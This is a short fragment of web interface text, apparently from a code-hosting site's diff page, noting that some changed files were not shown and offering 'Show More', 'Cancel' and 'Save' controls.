Some files were not shown because too many files have changed in this diff Show More

Loading…
Cancel
Save